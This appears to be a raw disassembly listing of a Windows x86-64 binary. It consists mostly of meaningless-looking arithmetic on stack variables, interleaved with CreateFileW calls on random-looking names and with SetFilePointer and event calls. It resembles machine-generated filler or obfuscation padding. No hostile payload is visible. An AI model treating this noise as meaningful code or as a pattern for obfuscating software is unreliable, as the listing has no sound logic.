mov edx, 0x40000000
lea rcx, str.35fZU3Ndu3iXdI5Dwhestd_bu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4f40], rax
mov rax, qword [rsp + 0x1fe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
mov word [rsp + 0xbe0], ax
mov rax, qword [rsp + 0x1718]
mov rcx, qword [rsp + 0x1d60]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd5b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2670]
movzx eax, word [rax]
movzx ecx, word [0x1400fd6b8]
and eax, ecx
mov word [rsp + 0x70], ax
mov rax, qword [rsp + 0x3dd8]
movzx ecx, al
mov rax, qword [rsp + 0x2880]
sar rax, cl
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f18], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3070]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x634]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ae8]
movzx eax, byte [rax]
mov byte [rsp + 0xe4e], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x42d6
mov rcx, qword [rsp + 0x3860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x23d0]
mov ecx, dword [0x1400fc384]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x213c], eax
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x929], al
mov rax, qword [rsp + 0x1300]
mov rcx, qword [rsp + 0x28b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2be0], rax
mov rax, qword [rsp + 0xf50]
movzx eax, word [rax]
mov word [0x1400fd730], ax
movsx eax, word [0x1400fd648]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2228], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x848]
shl eax, cl
mov word [rsp + 0x59c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.dEihqxEst_tokY_sYLj_rJJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3f30], rax
movzx eax, word [rsp + 0x450]
mov rcx, qword [0x1400fd5e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x49c], ax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x3c78], rax
mov rax, qword [rsp + 0x1ef0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b00]
mov qword [rsp + 0x4ad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ad0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1870]
mov rax, qword [rax]
mov qword [rsp + 0x3198], rax
mov rcx, qword [rsp + 0x2970]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
mov rax, qword [0x1400fd608]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5a0]
add eax, ecx
mov rcx, qword [rsp + 0x28a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x380]
and eax, ecx
mov rcx, qword [rsp + 0x2a70]
mov word [rcx], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
add rax, qword [rsp + 0x1700]
mov qword [0x1400fc520], rax
lea rax, [rsp + 0x2598]
mov qword [rsp + 0x38f8], rax
mov rax, qword [rsp + 0x30c8]
mov rcx, qword [rsp + 0xd50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1c50], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbefe
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3498], eax
mov rax, qword [rsp + 0x950]
mov rcx, qword [rsp + 0x9c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3eb0], rax
mov rax, qword [rsp + 0x2978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1470]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x2e8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1cd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x24c8]
mov eax, dword [rax]
mov dword [rsp + 0x21e8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xdfb1
mov rcx, qword [rsp + 0x3970]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa4], eax
mov rax, qword [rsp + 0x768]
mov rcx, qword [rsp + 0x1780]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2ad8], rax
mov rax, qword [rsp + 0x1548]
mov eax, dword [rax]
mov dword [rsp + 0x274c], eax
movsx eax, byte [0x1400fc383]
movsx ecx, byte [rsp + 0x236]
or eax, ecx
mov rcx, qword [0x1400fd628]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4ad8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3638], eax
movsx eax, word [rsp + 0x110]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x43c], ax
mov rax, qword [rsp + 0x1b20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d8]
add eax, ecx
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6404
mov rcx, qword [rsp + 0x2eb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
lea rax, [rsp + 0x6f4]
mov qword [rsp + 0x3778], rax
mov rax, qword [rsp + 0x38f8]
mov rcx, qword [rsp + 0x1d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2e08], rax
mov eax, dword [rsp + 0x1ac8]
movzx ecx, al
mov eax, dword [0x1400fd214]
shr eax, cl
mov dword [rsp + 0x2814], eax
mov rcx, qword [rsp + 0x2a20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x90e]
mov rcx, qword [rsp + 0x2b08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2518]
mov byte [rcx], al
lea rax, [rsp + 0xf98]
mov qword [rsp + 0x3120], rax
mov rax, qword [0x1400fd4b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x18d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1b20]
mov word [rcx], ax
mov rax, qword [rsp + 0x2558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1fa8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14d0]
mov rcx, qword [rsp + 0x2f40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2b10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3110]
movzx eax, word [rax]
mov word [rsp + 0x2048], ax
movzx eax, byte [rsp + 0xe52]
mov rcx, qword [rsp + 0x1998]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12d8]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov rcx, qword [rsp + 0x948]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x2730], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdacf
mov rcx, qword [rsp + 0x3690]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
mov rax, qword [rsp + 0x24f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1898]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x1e60]
mov rcx, qword [rsp + 0x2870]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2af0]
mov qword [rcx], rax
lea rax, [rsp + 0x2188]
mov qword [rsp + 0x2b20], rax
movsx eax, word [rsp + 0x84c]
movsx ecx, word [rsp + 0xb14]
shl eax, cl
mov word [rsp + 0x460], ax
movzx eax, word [rsp + 0x5cc]
mov word [0x1400fd734], ax
mov rax, qword [rsp + 0x1b30]
mov rax, qword [rax]
mov qword [rsp + 0x4f58], rax
mov rax, qword [rsp + 0x1000]
mov rcx, qword [rsp + 0x25e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1a28], rax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6e4]
sub eax, ecx
mov word [rsp + 0x71c], ax
movzx eax, word [rsp + 0x704]
movzx ecx, word [rsp + 0x6e8]
add eax, ecx
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x3120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1748]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x23b8]
mov qword [rcx], rax
lea rax, [0x1400fc4e8]
mov qword [rsp + 0x3858], rax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [rsp + 0x2d2]
and eax, ecx
mov rcx, qword [rsp + 0x1fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1bb0]
mov qword [rsp + 0x3350], rax
movsx eax, word [rsp + 0x4ec]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc490], ax
movzx eax, word [rsp + 0x2224]
movzx ecx, word [rsp + 0x458]
sub eax, ecx
mov rcx, qword [rsp + 0xdb0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x2970]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x1c4]
mov rcx, qword [rsp + 0x2cc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x229], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov dword [rsp + 0x34a4], eax
mov rax, qword [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x36b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x23a8]
mov qword [rcx], rax
lea rax, [rsp + 0x2150]
mov qword [rsp + 0x54d8], rax
mov rax, qword [rsp + 0x23b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x36d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a8], rax
movsx eax, byte [rsp + 0x10b]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x1010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1328]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2220], ax
movzx eax, word [rsp + 0x34c]
mov word [0x1400fd738], ax
mov rax, qword [rsp + 0x12b0]
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3168], rax
mov rax, qword [rsp + 0x25f0]
movzx eax, word [rax]
mov word [rsp + 0x3610], ax
mov rax, qword [rsp + 0x18e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3de0]
mov word [rcx], ax
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc78]
sar rax, cl
mov qword [rsp + 0x1140], rax
mov rax, qword [rsp + 0x1080]
mov eax, dword [rax]
add eax, dword [rsp + 0x330]
mov dword [rsp + 0x1a50], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe040
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2144], eax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3df8]
add rax, qword [rcx]
mov qword [rsp + 0x2378], rax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0x2dc8], rax
movzx eax, word [rsp + 0x69c]
movzx ecx, word [0x1400fd168]
sub eax, ecx
mov word [rsp + 0x300], ax
mov rcx, qword [rsp + 0x1f20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x2b30]
mov qword [0x1400fd740], rax
mov rax, qword [rsp + 0x2360]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x1680]
mov rcx, qword [rsp + 0xdc0]
mov dword [rcx], eax
lea rax, [rsp + 0x1bd]
mov qword [rsp + 0x54e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.iUfRDP86Axa179XPR7xpp1e6U0sClp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4f50], rax
mov rax, qword [0x1400fd228]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1560]
sar eax, cl
mov rcx, qword [rsp + 0xc80]
mov word [rcx], ax
movzx eax, word [rsp + 0x558]
mov word [rsp + 0x2218], ax
movsx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3f00]
mov byte [rcx], al
mov eax, dword [rsp + 0x1984]
mov dword [rsp + 0x2130], eax
mov rax, qword [rsp + 0xf98]
mov rcx, qword [rsp + 0x2798]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2300]
mov qword [rcx], rax
movsx eax, word [rsp + 0x894]
mov rcx, qword [0x1400fd448]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1068]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2558]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1400fd3d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb70]
mov rcx, qword [rsp + 0x1718]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d08], rax
mov rax, qword [rsp + 0x2a98]
mov rcx, qword [rsp + 0x1218]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x618]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1b78]
mov rax, qword [rax]
mov qword [rsp + 0x3c58], rax
movsx eax, word [rsp + 0x174]
movsx ecx, word [rsp + 0x868]
sar eax, cl
mov word [rsp + 0x5c0], ax
mov rax, qword [rsp + 0x22c8]
mov rcx, qword [0x1400fd3e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2eb0], rax
mov rax, qword [rsp + 0x2550]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x31b8]
add eax, dword [rcx]
mov dword [rsp + 0x34bc], eax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2280]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x54c], al
movzx eax, byte [rsp + 0xe8]
mov byte [rsp + 0x924], al
mov rax, qword [rsp + 0x2ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x216c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2f60]
mov dword [rcx], eax
movsx eax, word [0x1400fc508]
mov rcx, qword [rsp + 0x3d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc528], ax
mov rcx, qword [rsp + 0x2fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
movzx eax, word [rsp + 0x210]
mov rcx, qword [rsp + 0x14b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x440], ax
movzx eax, word [rsp + 0x880]
mov word [rsp + 0x3608], ax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [0x1400fd650]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e28]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2c8d
mov rcx, qword [rsp + 0x2eb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x281c], eax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x3718]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3788], rax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1158]
mov ecx, dword [0x1400fd318]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d8], eax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x583], al
movsx eax, word [rsp + 0xc0c]
movsx ecx, word [rsp + 0x19c]
shl eax, cl
mov word [rsp + 0x110], ax
movzx eax, word [0x1400fd260]
movzx ecx, word [rsp + 0x221c]
xor eax, ecx
mov word [rsp + 0x49c], ax
mov rax, qword [rsp + 0x7d8]
mov rcx, qword [rsp + 0x2358]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fd320], rax
movzx eax, word [rsp + 0x550]
mov rcx, qword [rsp + 0xb30]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x6dc], ax
mov rax, qword [rsp + 0x1238]
mov rcx, qword [rsp + 0xb80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x39b8], rax
lea rax, [rsp + 0x3698]
mov qword [rsp + 0x31e8], rax
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa68]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3100]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x17e0]
add eax, dword [rcx]
mov dword [rsp + 0xb90], eax
lea rax, [rsp + 0x155]
mov qword [rsp + 0x4c20], rax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0xb94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x605], al
mov rax, qword [rsp + 0xda0]
movzx eax, word [rax]
mov word [0x1400fd748], ax
mov rax, qword [rsp + 0x2930]
movsx eax, word [rax]
movsx ecx, word [0x1400fc420]
and eax, ecx
mov word [rsp + 0x360], ax
movzx eax, word [rsp + 0x5fc]
movzx ecx, word [rsp + 0x384]
and eax, ecx
mov rcx, qword [rsp + 0x3320]
mov word [rcx], ax
movzx eax, word [rsp + 0xe58]
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x2910]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x14f0]
shr rax, cl
mov rcx, qword [rsp + 0x1500]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc795
mov rcx, qword [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
lea rax, [rsp + 0x13a0]
mov qword [rsp + 0x3a88], rax
mov rcx, qword [rsp + 0x2478]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0xe51]
movsx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x11a], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.OkQgWAsRsz1kCB6lkgFjsJg7JPLAO3zVOo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2d80], rax
movsx eax, word [rsp + 0x155c]
movsx ecx, word [0x1400fc478]
add eax, ecx
mov rcx, qword [rsp + 0x36e8]
mov word [rcx], ax
lea rax, [rsp + 0x380]
mov qword [rsp + 0x3268], rax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2960]
mov rcx, qword [rsp + 0x1d90]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc458], rax
mov rax, qword [rsp + 0x16e8]
mov rcx, qword [0x1400fd710]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xfb8], rax
mov rax, qword [rsp + 0x1858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2608]
mov qword [rsp + 0x4ae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ae8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2f98], rax
mov rax, qword [rsp + 0x31a8]
mov rcx, qword [rsp + 0x2ff0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7c8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0xed0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x568b
mov rcx, qword [rsp + 0x2fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa0], eax
mov rcx, qword [rsp + 0x2458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4328], eax
mov rax, qword [rsp + 0x2360]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2b48]
mov qword [rsp + 0x4af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4af0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x1d40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x130]
movzx ecx, byte [rsp + 0xe5]
imul eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x1158]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x750]
add eax, dword [rcx]
mov dword [rsp + 0x1398], eax
movsx eax, byte [rsp + 0x2cb]
movsx ecx, byte [rsp + 0x90]
and eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [0x1400fd530]
mov rcx, qword [rsp + 0xc70]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fd3c0], rax
movzx eax, word [rsp + 0x21c]
mov word [rsp + 0x3604], ax
movsx eax, word [rsp + 0x6d0]
mov rcx, qword [rsp + 0x1490]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x240], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe820
mov rcx, qword [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27ec], eax
movzx eax, word [rsp + 0x44c]
mov rcx, qword [rsp + 0x29f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe5c], ax
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f0], eax
lea rax, [rsp + 0x2f08]
mov qword [rsp + 0x2e50], rax
movsx eax, byte [rsp + 0x403]
movsx ecx, byte [rsp + 0x22f]
and eax, ecx
mov byte [rsp + 0x90f], al
mov rax, qword [rsp + 0x3030]
movzx ecx, al
mov rax, qword [0x1400fc3d8]
shr rax, cl
mov qword [rsp + 0x3908], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.pxjBIN4Ve9R8Ur
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x40a8], rax
mov rax, qword [rsp + 0x18f8]
mov ecx, dword [rsp + 0x1124]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x27f0], eax
mov rax, qword [rsp + 0x1b20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1958]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1148]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc52c], ax
lea rax, [rsp + 0x1ca8]
mov qword [rsp + 0x3b80], rax
mov rcx, qword [rsp + 0x3790]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd418]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1658], ax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov dword [rsp + 0x4324], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3eb4
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2128], eax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0xe50]
sub eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fd148]
shr rax, cl
mov qword [rsp + 0x28f8], rax
mov rax, qword [rsp + 0x36a0]
movzx eax, byte [rax]
mov byte [rsp + 0x911], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2cf0], rax
mov rax, qword [rsp + 0x28d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x798]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0x2610]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [rsp + 0x150]
mov qword [0x1400fd750], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x48b8
mov rcx, qword [rsp + 0x4af8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ec0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2e28]
mov qword [rcx], rax
lea rax, [rsp + 0x1d90]
mov qword [rsp + 0x54e8], rax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x1438]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5a4], ax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xed8]
add eax, ecx
mov rcx, qword [rsp + 0x1148]
mov word [rcx], ax
mov eax, dword [rsp + 0x10d0]
mov dword [rsp + 0x34b8], eax
mov rcx, qword [rsp + 0x3870]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1030]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3eb], al
lea rax, [rsp + 0x3e50]
mov qword [rsp + 0x3978], rax
mov rax, qword [rsp + 0x36a8]
mov rcx, qword [0x1400fc438]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3750], rax
mov rax, qword [rsp + 0x1438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1cc0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd680], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf092
mov rcx, qword [rsp + 0x2f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x343c], eax
movzx eax, word [rsp + 0x6f8]
movzx ecx, word [0x1400fd450]
xor eax, ecx
mov word [rsp + 0x4bc], ax
mov rax, qword [rsp + 0x2b48]
mov eax, dword [rax]
add eax, dword [rsp + 0x1918]
mov dword [rsp + 0x2120], eax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3d1
mov rcx, qword [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x2d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x230], al
lea rax, [rsp + 0x3960]
mov qword [rsp + 0x2fe8], rax
mov rax, qword [rsp + 0x17e0]
mov ecx, dword [rsp + 0xbb4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdf0], eax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3490], eax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x910]
sar eax, cl
mov byte [rsp + 0x239], al
lea rax, [rsp + 0x2940]
mov qword [rsp + 0x3f10], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xb956
mov rcx, qword [rsp + 0x2ba0]
